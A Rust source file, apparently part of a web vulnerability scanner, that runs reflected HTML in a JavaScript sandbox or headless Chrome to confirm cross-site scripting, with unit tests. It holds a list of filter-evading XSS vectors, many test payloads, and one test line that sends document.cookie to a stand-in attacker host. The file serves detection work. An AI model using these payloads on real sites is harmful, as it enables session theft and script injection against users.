use std::sync::Arc;
use jsdet_browser::{BrowserBridge, Persona};
use jsdet_core::{CompiledModule, Observation, SandboxConfig, Value};
use serde::Serialize;
pub mod breakout;
pub mod chrome;
pub mod mutation;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum Engine {
#[default]
Jsdet,
Chrome,
}
impl Engine {
#[must_use]
pub fn parse(name: &str) -> Option<Self> {
match name.trim().to_ascii_lowercase().as_str() {
"jsdet" | "js" | "sandbox" => Some(Self::Jsdet),
"chrome" | "browser" | "headless" | "chromium" => Some(Self::Chrome),
_ => None,
}
}
#[must_use]
pub fn name(self) -> &'static str {
match self {
Self::Jsdet => "jsdet",
Self::Chrome => "chrome",
}
}
}
#[must_use]
pub fn detonate_html_with(engine: Engine, body: &str, url: &str) -> ExecutionProof {
match engine {
Engine::Jsdet => detonate_html(body, url),
Engine::Chrome if chrome::available() => chrome::detonate_html_chrome(body, url),
Engine::Chrome => {
let mut proof = detonate_html(body, url);
if !proof.executed && proof.error.is_none() {
proof.error = Some(
"Chrome engine requested but no Chrome/Chromium binary available; fell back to jsdet"
.into(),
);
}
proof
}
}
}
pub const EXEC_PRESERVING_VECTORS: &[&str] = &[
"<svg onload=alert({{M}})>",
"<img src=x onerror=alert({{M}})>",
"<details open ontoggle=alert({{M}})>",
"<body onpageshow=alert({{M}})>",
"<svg/onload=alert({{M}})>",
"<sVg oNloAd=alert({{M}})>",
"<svg\tonload=alert({{M}})>",
"<svg onload=alert({{M}})>",
"<svg onload=alert({{M}})>",
"<svg onload=window['ale'+'rt']({{M}})>",
"<svg onload=window[String.fromCharCode(97,108,101,114,116)]({{M}})>",
"<img src=x onerror=window['ale'+'rt']({{M}})>",
"<svg onload=eval('aler'+'t({{M}})')>",
"<svg onload=(alert)({{M}})>",
"<svg onload=confirm({{M}})>",
"<svg onload=prompt({{M}})>",
];
#[must_use]
pub fn exec_preserving_vectors(marker: &str) -> Vec<String> {
EXEC_PRESERVING_VECTORS
.iter()
.map(|v| v.replace("{{M}}", marker))
.collect()
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
pub struct SinkHit {
pub kind: String,
pub detail: String,
}
#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize)]
pub struct ExecutionProof {
pub executed: bool,
pub sink: Option<String>,
pub message: Option<String>,
pub fragments_run: usize,
#[serde(default)]
pub sinks: Vec<SinkHit>,
#[serde(default)]
pub error: Option<String>,
}
impl ExecutionProof {
#[must_use]
pub fn proves(&self, expected: &str) -> bool {
self.executed && self.message.as_deref() == Some(expected)
}
#[must_use]
pub fn failed(reason: impl Into<String>) -> Self {
let reason = reason.into();
eprintln!("detonate: detonation could not run: {reason}");
Self {
error: Some(reason),
..Default::default()
}
}
#[must_use]
pub fn failed_to_run(&self) -> bool {
self.error.is_some()
}
}
#[must_use]
pub fn detonate_html(body: &str, url: &str) -> ExecutionProof {
detonate_scripts(&extract_executable_js(body), url)
}
fn detonation_config() -> SandboxConfig {
SandboxConfig {
timeout_ms: 2000,
max_memory_bytes: 32 * 1024 * 1024,
max_fuel: 500_000_000,
..SandboxConfig::default()
}
}
#[must_use]
pub fn detonate_scripts(scripts: &[String], url: &str) -> ExecutionProof {
let mut proof = ExecutionProof {
fragments_run: scripts.len(),
..Default::default()
};
if scripts.is_empty() {
return proof;
}
let module = match CompiledModule::new() {
Ok(module) => module,
Err(e) => {
let mut failed = ExecutionProof::failed(format!(
"jsdet sandbox module failed to initialize: {e}"
));
failed.fragments_run = proof.fragments_run;
return failed;
}
};
let bridge = Arc::new(BrowserBridge::new(
url,
"<html><head></head><body></body></html>",
Persona::chrome_windows(),
));
let result = match module.execute(scripts, bridge, &detonation_config()) {
Ok(result) => result,
Err(e) => {
let mut failed =
ExecutionProof::failed(format!("jsdet sandbox execution trapped: {e}"));
failed.fragments_run = proof.fragments_run;
return failed;
}
};
let mut seen = std::collections::HashSet::new();
let sinks: Vec<SinkHit> = result
.observations
.iter()
.filter_map(sink_of_obs)
.filter(|s| seen.insert((s.kind.clone(), s.detail.clone())))
.collect();
let sandbox_aborted = result.timed_out
|| !result.errors.is_empty()
|| result
.observations
.iter()
.any(|o| matches!(o, Observation::ResourceLimit { .. }));
if sandbox_aborted && sinks.is_empty() {
let err_detail = if !result.errors.is_empty() {
format!("jsdet sandbox encountered execution errors: {}", result.errors.join("; "))
} else {
"jsdet sandbox hit a resource limit (timeout/fuel/memory) before any sink fired".to_string()
};
let mut failed = ExecutionProof::failed(err_detail);
failed.fragments_run = proof.fragments_run;
return failed;
}
proof.executed = !sinks.is_empty();
if let Some(d) = sinks
.iter()
.find(|s| matches!(s.kind.as_str(), "alert" | "confirm" | "prompt"))
.or_else(|| sinks.first())
{
proof.sink = Some(d.kind.clone());
proof.message = Some(d.detail.clone());
}
proof.sinks = sinks;
proof
}
fn sink_of_obs(obs: &Observation) -> Option<SinkHit> {
let Observation::ApiCall { api, args, .. } = obs else {
return None;
};
let argv = args_array(args);
let arg0 = || argv.first().cloned().unwrap_or_default();
let (kind, detail) = match api.as_str() {
"window.alert" => ("alert", arg0()),
"window.confirm" => ("confirm", arg0()),
"window.prompt" => ("prompt", arg0()),
"fetch" | "navigator.sendBeacon" | "XMLHttpRequest.open" | "XMLHttpRequest.send" => {
("network", arg0())
}
"eval" | "Function" => ("eval", truncate(&arg0())),
"window.open" => ("popup", arg0()),
"document.write" | "document.writeln" | "element.innerHTML" => {
("dom-write", truncate(&argv.join(" ")))
}
a if a.starts_with("document.cookie") => ("cookie", argv.join(" ")),
a if a.contains("location") => ("redirect", arg0()),
a if a.starts_with("localStorage") || a.starts_with("sessionStorage") => {
("storage", argv.join(" "))
}
"probe_html_forms" | "probe_static_forms" | "fingerprint.read" => return None,
a if a.starts_with("__observe") => return None,
_ => return None,
};
Some(SinkHit { kind: kind.to_string(), detail })
}
fn args_array(args: &[Value]) -> Vec<String> {
let raw = match args.first() {
Some(Value::String(s, _) | Value::Json(s, _)) => s.as_str(),
_ => return Vec::new(),
};
serde_json::from_str::<Vec<serde_json::Value>>(raw)
.map(|vals| {
vals.into_iter()
.map(|v| match v {
serde_json::Value::String(s) => s,
other => other.to_string(),
})
.collect()
})
.unwrap_or_default()
}
pub(crate) fn truncate(s: &str) -> String {
const MAX: usize = 200;
if s.len() <= MAX {
s.to_string()
} else {
let mut end = MAX;
while !s.is_char_boundary(end) {
end -= 1;
}
format!("{}…", &s[..end])
}
}
const AUTO_FIRING_HANDLERS: &[&str] = &[
"onerror",
"onload",
"ontoggle",
"onpageshow",
"onfocusin",
"onanimationstart",
"onanimationend",
"onanimationiteration",
"onbegin", "onend",
"onrepeat",
"onloadstart",
"onloadedmetadata",
"oncanplay",
];
#[must_use]
pub fn extract_executable_js(html: &str) -> Vec<String> {
use scraper::Html;
static ALL_SELECTOR: std::sync::LazyLock<scraper::Selector> = std::sync::LazyLock::new(|| {
scraper::Selector::parse("*").expect("static '*' selector is valid")
});
let doc = Html::parse_document(html);
let mut out = Vec::new();
for el in doc.select(&ALL_SELECTOR) {
let e = el.value();
let tag = e.name();
if tag == "script" {
if let Some(src) = e.attr("src") {
if let Some(data_js) = extract_data_uri_script(src) {
push_nonempty(&mut out, &data_js);
}
} else if e.attr("type").map_or(true, is_js_type) {
push_nonempty_owned(&mut out, el.text().collect::<String>());
}
}
let has_autofocus = e.attr("autofocus").is_some();
for (name, value) in e.attrs() {
let is_autofocus_onfocus = has_autofocus && name == "onfocus";
if AUTO_FIRING_HANDLERS.contains(&name) || is_autofocus_onfocus {
push_nonempty(&mut out, value);
}
}
if tag == "iframe" || tag == "frame" {
if let Some(src) = e.attr("src") {
if let Some(code) = strip_js_scheme(src) {
push_nonempty(&mut out, code);
}
}
if let Some(srcdoc) = e.attr("srcdoc") {
let unescaped = html_unescape(srcdoc);
for frag in extract_executable_js(&unescaped) {
push_nonempty(&mut out, &frag);
}
}
}
}
out
}
fn is_js_type(t: &str) -> bool {
let trimmed = t.trim();
if trimmed.is_empty() {
return true;
}
let mime = trimmed.split(';').next().unwrap_or("").trim().to_ascii_lowercase();
matches!(
mime.as_str(),
"text/javascript"
| "application/javascript"
| "text/ecmascript"
| "application/ecmascript"
| "text/jscript"
| "application/x-javascript"
| "application/x-ecmascript"
| "module"
| "text/javascript1.0"
| "text/javascript1.1"
| "text/javascript1.2"
| "text/javascript1.3"
| "text/javascript1.4"
| "text/javascript1.5"
)
}
fn strip_js_scheme(v: &str) -> Option<&str> {
const SCHEME: &str = "javascript";
let trimmed = v.trim_start_matches(|c: char| c.is_ascii_whitespace() || c.is_ascii_control());
let colon_pos = trimmed.find(':')?;
let scheme_part = &trimmed[..colon_pos];
let mut matched_len = 0;
for b in scheme_part.bytes() {
if b.is_ascii_whitespace() || b.is_ascii_control() {
continue;
}
if matched_len < SCHEME.len()
&& b.to_ascii_lowercase() == SCHEME.as_bytes()[matched_len]
{
matched_len += 1;
} else {
return None;
}
}
if matched_len == SCHEME.len() {
Some(&trimmed[colon_pos + 1..])
} else {
None
}
}
fn extract_data_uri_script(src: &str) -> Option<String> {
let t = src.trim_start_matches(|c: char| c.is_ascii_whitespace() || c.is_ascii_control());
if t.len() < 5 || !t[..5].eq_ignore_ascii_case("data:") {
return None;
}
let rest = &t[5..];
let (header, data) = rest.split_once(',')?;
let is_base64 = header.split(';').any(|p| p.trim().eq_ignore_ascii_case("base64"));
let mime = header.split(';').next().unwrap_or("").trim();
if !mime.is_empty() && !is_js_type(mime) {
return None;
}
if is_base64 {
let decoded_bytes = base64_decode(data.trim())?;
String::from_utf8(decoded_bytes).ok()
} else {
percent_decode(data)
}
}
pub(crate) fn html_unescape(s: &str) -> String {
s.replace(""", "\"")
.replace("'", "'")
.replace("<", "<")
.replace(">", ">")
.replace("&", "&")
}
pub(crate) fn percent_decode(s: &str) -> Option<String> {
let bytes = s.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' && i + 2 < bytes.len() {
if let (Some(h1), Some(h2)) = (hex_val(bytes[i + 1]), hex_val(bytes[i + 2])) {
out.push((h1 << 4) | h2);
i += 3;
continue;
}
}
out.push(bytes[i]);
i += 1;
}
String::from_utf8(out).ok()
}
fn hex_val(b: u8) -> Option<u8> {
match b {
b'0'..=b'9' => Some(b - b'0'),
b'a'..=b'f' => Some(b - b'a' + 10),
b'A'..=b'F' => Some(b - b'A' + 10),
_ => None,
}
}
pub(crate) fn base64_decode(input: &str) -> Option<Vec<u8>> {
let clean: Vec<u8> = input
.bytes()
.filter(|b| !b.is_ascii_whitespace())
.collect();
if clean.is_empty() {
return Some(Vec::new());
}
let mut out = Vec::with_capacity(clean.len() * 3 / 4);
let mut buf = 0u32;
let mut bits = 0;
for &b in &clean {
if b == b'=' {
break;
}
let val = match b {
b'A'..=b'Z' => b - b'A',
b'a'..=b'z' => b - b'a' + 26,
b'0'..=b'9' => b - b'0' + 52,
b'+' => 62,
b'/' => 63,
_ => return None,
} as u32;
buf = (buf << 6) | val;
bits += 6;
if bits >= 8 {
bits -= 8;
out.push((buf >> bits) as u8);
buf &= (1 << bits) - 1;
}
}
Some(out)
}
fn push_nonempty(out: &mut Vec<String>, frag: &str) {
let t = frag.trim();
if !t.is_empty() {
out.push(t.to_string());
}
}
fn push_nonempty_owned(out: &mut Vec<String>, mut s: String) {
let end = s.trim_end().len();
s.truncate(end);
let start = s.len() - s.trim_start().len();
if start > 0 {
s.replace_range(..start, "");
}
if !s.is_empty() {
out.push(s);
}
}
#[cfg(test)]
mod tests {
use super::*;
fn has(js: &[String], needle: &str) -> bool {
js.iter().any(|s| s.contains(needle))
}
#[test]
fn extract_real_script_body() {
let js = extract_executable_js("<div><script>var x=1; alert(1)</script></div>");
assert!(has(&js, "alert(1)"), "{js:?}");
}
#[test]
fn extract_attribute_breakout_script() {
let js = extract_executable_js(r#"<input value=""><script>alert(1)</script>">"#);
assert!(has(&js, "alert(1)"), "broken-out script must be extracted: {js:?}");
}
#[test]
fn extract_auto_firing_handlers() {
for (html, want) in [
(r#"<img src=x onerror="alert(1)">"#, "alert(1)"),
("<svg onload=alert(2)>", "alert(2)"),
("<details open ontoggle=alert(3)>", "alert(3)"),
("<body onload=alert(4)>", "alert(4)"),
("<xss onanimationstart=alert(5)>", "alert(5)"),
] {
let js = extract_executable_js(html);
assert!(has(&js, want), "auto-firing handler {html:?} → {js:?}");
}
}
#[test]
fn extract_javascript_uri_in_iframe_src() {
let js = extract_executable_js(r#"<iframe src="javascript:alert(1)"></iframe>"#);
assert!(has(&js, "alert(1)"), "iframe javascript: src auto-navigates: {js:?}");
}
#[test]
fn extract_autofocus_onfocus_handler() {
let js = extract_executable_js(r#"<input autofocus onfocus="alert(1)">"#);
assert!(has(&js, "alert(1)"), "autofocus element onfocus auto-fires: {js:?}");
}
#[test]
fn extract_javascript_uri_with_control_characters() {
let js = extract_executable_js("<iframe src=\"java\nscript:alert(1)\"></iframe>");
assert!(has(&js, "alert(1)"), "javascript: scheme with control chars auto-navigates: {js:?}");
}
#[test]
fn extract_iframe_srcdoc_script() {
let js = extract_executable_js(r#"<iframe srcdoc="<script>alert(1)</script>"></iframe>"#);
assert!(has(&js, "alert(1)"), "iframe srcdoc script auto-executes: {js:?}");
let js_escaped = extract_executable_js(r#"<iframe srcdoc="<script>alert(2)</script>"></iframe>"#);
assert!(has(&js_escaped, "alert(2)"), "iframe srcdoc HTML-escaped script auto-executes: {js:?}");
}
#[test]
fn extract_data_uri_script_src() {
let js = extract_executable_js(r#"<script src="data:text/javascript,alert(1)"></script>"#);
assert!(has(&js, "alert(1)"), "script data: URI src auto-executes: {js:?}");
let js_b64 = extract_executable_js(r#"<script src="data:text/javascript;base64,YWxlcnQoMik="></script>"#);
assert!(has(&js_b64, "alert(2)"), "script base64 data: URI src auto-executes: {js:?}");
}
#[test]
fn extract_ignores_script_in_html_comment() {
let js = extract_executable_js("<!-- <script>alert(1)</script> -->");
assert!(js.is_empty(), "commented-out script must NOT execute: {js:?}");
}
#[test]
fn extract_ignores_script_in_textarea() {
let js = extract_executable_js("<textarea><script>alert(1)</script></textarea>");
assert!(js.is_empty(), "script inside <textarea> is text, not code: {js:?}");
}
#[test]
fn extract_ignores_script_in_title() {
let js = extract_executable_js("<title><script>alert(1)</script></title>");
assert!(js.is_empty(), "script inside <title> is text: {js:?}");
}
#[test]
fn extract_ignores_script_text_in_attribute_value() {
let js = extract_executable_js(r#"<input value="<script>alert(1)</script>">"#);
assert!(js.is_empty(), "script as an attribute value does not run: {js:?}");
}
#[test]
fn extract_ignores_escaped_markup() {
let js = extract_executable_js("<p><script>alert(1)</script></p>");
assert!(js.is_empty(), "HTML-escaped reflection is inert: {js:?}");
}
#[test]
fn extract_ignores_external_script_with_src() {
let js = extract_executable_js(r#"<script src="https://x/app.js"></script>"#);
assert!(js.is_empty(), "external src script has no inline body: {js:?}");
}
#[test]
fn extract_ignores_non_javascript_script_types() {
for html in [
r#"<script type="text/plain">alert(1)</script>"#,
r#"<script type="application/json">{"x": "alert(1)"}</script>"#,
r#"<script type="importmap">{"imports": {}}</script>"#,
r#"<script type="speculationrules">{}</script>"#,
r#"<script type="text/html"><div>alert(1)</div></script>"#,
r#"<script type="text/template">alert(1)</script>"#,
] {
let js = extract_executable_js(html);
assert!(js.is_empty(), "data block script {html:?} must NOT be extracted: {js:?}");
}
}
#[test]
fn extract_allows_valid_javascript_script_types() {
for (html, want) in [
(r#"<script type="text/javascript">alert(1)</script>"#, "alert(1)"),
(r#"<script type="application/javascript">alert(2)</script>"#, "alert(2)"),
(r#"<script type="module">alert(3)</script>"#, "alert(3)"),
(r#"<script type="text/javascript; charset=utf-8">alert(4)</script>"#, "alert(4)"),
(r#"<script type="">alert(5)</script>"#, "alert(5)"),
] {
let js = extract_executable_js(html);
assert!(has(&js, want), "valid JS script type {html:?} must be extracted: {js:?}");
}
}
#[test]
fn extract_excludes_interaction_only_handlers() {
let js = extract_executable_js(
"<div onclick=alert(1)>x</div><a onmouseover=alert(2)>y</a>",
);
assert!(js.is_empty(), "interaction handlers must not be auto-extracted: {js:?}");
}
#[test]
fn extract_excludes_anchor_href_javascript() {
let js = extract_executable_js(r#"<a href="javascript:alert(1)">go</a>"#);
assert!(js.is_empty(), "anchor javascript: needs a click: {js:?}");
}
#[test]
fn extract_empty_for_plain_text_and_empty() {
assert!(extract_executable_js("just plain text").is_empty());
assert!(extract_executable_js("").is_empty());
}
#[test]
fn strip_js_scheme_variants() {
assert_eq!(strip_js_scheme("javascript:alert(1)"), Some("alert(1)"));
assert_eq!(strip_js_scheme(" JavaScript:alert(1)"), Some("alert(1)"));
assert_eq!(strip_js_scheme("JAVASCRIPT:x"), Some("x"));
assert_eq!(strip_js_scheme("https://x/"), None);
assert_eq!(strip_js_scheme("java"), None, "shorter than scheme");
assert_eq!(strip_js_scheme("→javascript:x"), None, "multibyte prefix is not the scheme");
}
#[test]
fn proves_requires_matching_argument() {
let p = ExecutionProof {
executed: true,
sink: Some("alert".into()),
message: Some("1".into()),
fragments_run: 1,
..Default::default()
};
assert!(p.proves("1"));
assert!(!p.proves("2"), "argument must match exactly");
assert!(!ExecutionProof::default().proves("1"), "nothing executed → never proves");
}
#[test]
fn chrome_fallback_sets_error_when_chrome_missing() {
if !chrome::available() {
let p = detonate_html_with(Engine::Chrome, "<div><script>alert(1)</script></div>", URL);
assert!(p.failed_to_run(), "missing chrome must flag failure in proof: {p:?}");
assert!(p.error.as_deref().unwrap().contains("Chrome engine requested but no Chrome"));
}
}
const URL: &str = "https://target.example/reflect";
#[test]
fn detonate_proves_alert_one() {
let p = detonate_html("<div><script>alert(1)</script></div>", URL);
assert!(p.executed && p.sink.as_deref() == Some("alert") && p.proves("1"), "{p:?}");
}
#[test]
fn detonate_proves_onerror_breakout() {
let p = detonate_html(r#"<img src=x onerror="alert(1)">"#, URL);
assert!(p.proves("1"), "{p:?}");
}
#[test]
fn detonate_proves_svg_onload() {
let p = detonate_html("<svg onload=alert(1)>", URL);
assert!(p.proves("1"), "{p:?}");
}
#[test]
fn detonate_proves_autofocus_onfocus() {
let p = detonate_html(r#"<input autofocus onfocus="alert(1)">"#, URL);
assert!(p.proves("1"), "autofocus onfocus must execute: {p:?}");
}
#[test]
fn detonate_proves_iframe_srcdoc() {
let p = detonate_html(r#"<iframe srcdoc="<script>alert(1)</script>"></iframe>"#, URL);
assert!(p.proves("1"), "iframe srcdoc script must execute: {p:?}");
}
#[test]
fn detonate_proves_data_uri_script() {
let p = detonate_html(r#"<script src="data:text/javascript,alert(1)"></script>"#, URL);
assert!(p.proves("1"), "data: URI script must execute: {p:?}");
}
#[test]
fn detonate_rejects_escaped_reflection() {
let p = detonate_html("<div><script>alert(1)</script></div>", URL);
assert!(!p.executed && !p.proves("1"), "escaped reflection must not execute: {p:?}");
}
#[test]
fn detonate_rejects_commented_script() {
let p = detonate_html("<!-- <script>alert(1)</script> -->", URL);
assert!(!p.executed, "commented script must NOT register as execution: {p:?}");
}
#[test]
fn detonate_rejects_textarea_script() {
let p = detonate_html("<textarea><script>alert(1)</script></textarea>", URL);
assert!(!p.executed, "textarea-text script must NOT execute: {p:?}");
}
#[test]
fn detonate_rejects_data_block_script() {
let p = detonate_html(r#"<script type="text/plain">alert(1)</script>"#, URL);
assert!(!p.executed, "text/plain script data block must NOT execute: {p:?}");
}
#[test]
fn detonate_rejects_interaction_only_handler() {
let p = detonate_html("<div onclick=alert(1)>x</div>", URL);
assert!(!p.executed, "interaction-only handler must not auto-prove: {p:?}");
}
#[test]
fn detonate_proves_eval_sink() {
let p = detonate_html("<svg onload=eval('aler'+'t(1)')>", URL);
assert!(p.executed, "{p:?}");
assert!(
p.sinks.iter().any(|s| s.kind == "eval"),
"eval sink must be recorded: {p:?}"
);
}
#[test]
fn detonate_proves_network_exfil_without_alert() {
let p = detonate_html(
"<svg onload=fetch('//attacker.example/?c='+document.cookie)>",
URL,
);
assert!(p.executed, "fetch-exfil must prove execution: {p:?}");
assert!(
p.sinks.iter().any(|s| s.kind == "network"),
"network sink must be recorded: {p:?}"
);
assert!(
p.sinks.iter().any(|s| s.detail.contains("attacker.example")),
"exfil destination must be captured: {p:?}"
);
}
#[test]
fn detonate_no_sinks_for_inert_reflection() {
let p = detonate_html("<div>plain <script> text</div>", URL);
assert!(!p.executed);
assert!(p.sinks.is_empty(), "{p:?}");
}
#[test]
fn every_exec_preserving_vector_executes() {
let mut failures = Vec::new();
for v in exec_preserving_vectors("1") {
let p = detonate_html(&v, URL);
if !(p.executed && p.message.as_deref() == Some("1")) {
failures.push(format!("{v:?} → {p:?}"));
}
}
assert!(
failures.is_empty(),
"{} execution-preserving vector(s) did NOT fire alert(1):\n{}",
failures.len(),
failures.join("\n")
);
}
#[test]
fn exec_preserving_vectors_substitutes_marker() {
let v = exec_preserving_vectors("document.domain");
assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left");
assert!(v.iter().any(|s| s.contains("alert(document.domain)")));
}
#[test]
fn detonate_reports_fragments_run() {
let p = detonate_html("<script>alert(1)</script>", URL);
assert_eq!(p.fragments_run, 1, "{p:?}");
let none = detonate_html("<p>nothing</p>", URL);
assert_eq!(none.fragments_run, 0);
}
#[test]
fn jsdet_infinite_loop_is_contained_and_reports_failure() {
let start = std::time::Instant::now();
let p = detonate_scripts(&["while(1){}".to_string()], URL);
let elapsed = start.elapsed();
assert!(
p.failed_to_run(),
"an untraped infinite loop would hang; a trapped one must be loud: {p:?}"
);
assert!(!p.executed && !p.proves("1"), "{p:?}");
assert_eq!(p.fragments_run, 1, "{p:?}");
assert!(
elapsed < std::time::Duration::from_secs(60),
"sandbox containment took too long: {elapsed:?}"
);
}
#[test]
fn jsdet_memory_bomb_is_contained_and_reports_failure() {
let start = std::time::Instant::now();
let p = detonate_scripts(
&["var a=[];while(1){a.push(new Array(0x10000).join('x'));}".to_string()],
URL,
);
let elapsed = start.elapsed();
assert!(p.failed_to_run(), "allocation bomb must trap loudly: {p:?}");
assert!(!p.executed, "{p:?}");
assert!(
elapsed < std::time::Duration::from_secs(60),
"sandbox containment took too long: {elapsed:?}"
);
}
#[test]
fn jsdet_alert_before_hang_still_proves() {
let p = detonate_scripts(&["alert('1'); while(1){}".to_string()], URL);
assert!(
p.proves("1"),
"a sink observed before the sandbox interrupt must still prove: {p:?}"
);
assert!(!p.failed_to_run(), "{p:?}");
}
}